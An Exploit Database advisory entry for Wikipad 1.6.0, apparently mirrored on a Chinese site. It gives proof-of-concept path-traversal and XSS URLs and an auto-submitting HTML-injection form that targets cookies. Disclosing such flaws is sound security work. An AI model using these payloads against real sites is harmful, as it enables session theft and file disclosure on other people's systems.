Wikipad 1.6.0 – Cross-Site Scripting / HTML Injection / Information Disclosure

• Exploit Database
• 17 阅读

• 作者： High-Tech Bridge SA
  日期： 2011-02-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35350/

• source: https://www.securityfocus.com/bid/46383/info
  
  Wikipad is prone to a cross-site scripting vulnerability, an HTML-injection vulnerability, and an information-disclosure vulnerability.
  
  An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information.
  
  Wikipad 1.6.0 is vulnerable; other versions may also be affected. 
  
  Information-disclosure:
  
  http://www.example.com/pages.php?id=./../../../../../txt_file
  
  Cross-site scripting:
  
  http://www.example.com/pages.php?id=index"><script>alert(document.cookie)</script>
  http://www.example.com/pages.php?action=edit&id=27-01-2011"><script>alert(document.cookie)</script>
  
  HTML-injection:
  
  <form action="http://host/pages.php?action=edit&id=index&title=index" method="post" name="main">
  <input type="hidden" name="data[text]" value=&#039;text"><script>alert(document.cookie)</script>&#039;>
  </form>
  
  <script>
  document.main.submit();
  </script>